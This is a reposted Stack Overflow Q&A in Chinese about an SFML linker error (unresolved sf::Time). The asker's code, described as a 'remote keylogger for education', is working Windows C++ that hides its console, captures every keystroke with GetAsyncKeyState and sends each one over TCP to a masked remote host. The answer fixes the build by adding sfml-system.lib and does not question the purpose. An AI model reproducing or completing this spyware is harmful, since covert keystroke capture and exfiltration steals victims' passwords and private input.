gpt4 book ai didi

c++ - 未解析的外部符号 sf::Time with SFML

转载 作者:行者123 更新时间:2023-11-30 01:40:03 25 4
gpt4 key购买 nike

因此,出于教育 目的,我正在开发一个远程键盘记录器。出于某种原因,当我尝试编译客户端时,出现此错误(我正在使用 SFML):

Error   LNK2001 unresolved external symbol "__declspec(dllimport) public: 
static class sf::Time const sf::Time::Zero" (__imp_?Zero@Time@sf@@2V12@B)

奇怪的是服务器编译正常并且它使用相同的库。我已经无数次检查我的链接器设置,甚至尝试创建一个新项目,但都没有成功。

代码如下:

#include <fstream>
#include <Windows.h>
#include <SFML\Network.hpp>
#include <iostream>

void ConnectToHost(sf::TcpSocket* socket)
{
sf::Socket::Status status = socket->connect("*****", ***);

if (status != sf::Socket::Done)
std::cout << "Error connecting to socket." << std::endl;

return;
}

int main()
{
FreeConsole();

sf::TcpSocket socket;
ConnectToHost(&socket);

while (1)
{
for (char key = 8; key <= 190; key++)
{
if (GetAsyncKeyState(key) == -32767)
{
char key_sent[50] = { key };
socket.send(key_sent, sizeof(key_sent));
}
}
}
return 0;
}

我目前正在将 sfml-network-d.lib 链接到调试,将 sfml-network.lib 链接到发布,但是我也尝试链接所有 sfml 动态链接库,所以不能有任何东西用它来做。无论如何,我假设这只是我考虑过头或忽略的一个粗心错误,但由于我已经研究了几天,我想我会把它作为一个问题发布。

最佳答案

您的错误表明您的代码没有问题,链接有问题。您正在链接到 sfml-network.lib , 但您需要链接到 sfml-system.lib为了获得 sf::Time。

sfml-network.lib 仅提供:Ftp、Http、IpAddress、Packet、Socket、SocketSelector、TcpListener、TcpSocket、UdpSocket。

SFML 网络依赖于 SFML 系统,如 here 所述.每当使用 SFML 网络时,您都需要明确链接到 SFML 系统。

另一个快速说明是您提到了链接到动态链接库。你不应该链接到任何 DLL,你链接的 .libs 实际上让你导入那些 DLL。如果你想做相反的事情(静态链接),那么你需要链接到 *-s.lib 变体。

关于c++ - 未解析的外部符号 sf::Time with SFML,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/44271402/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com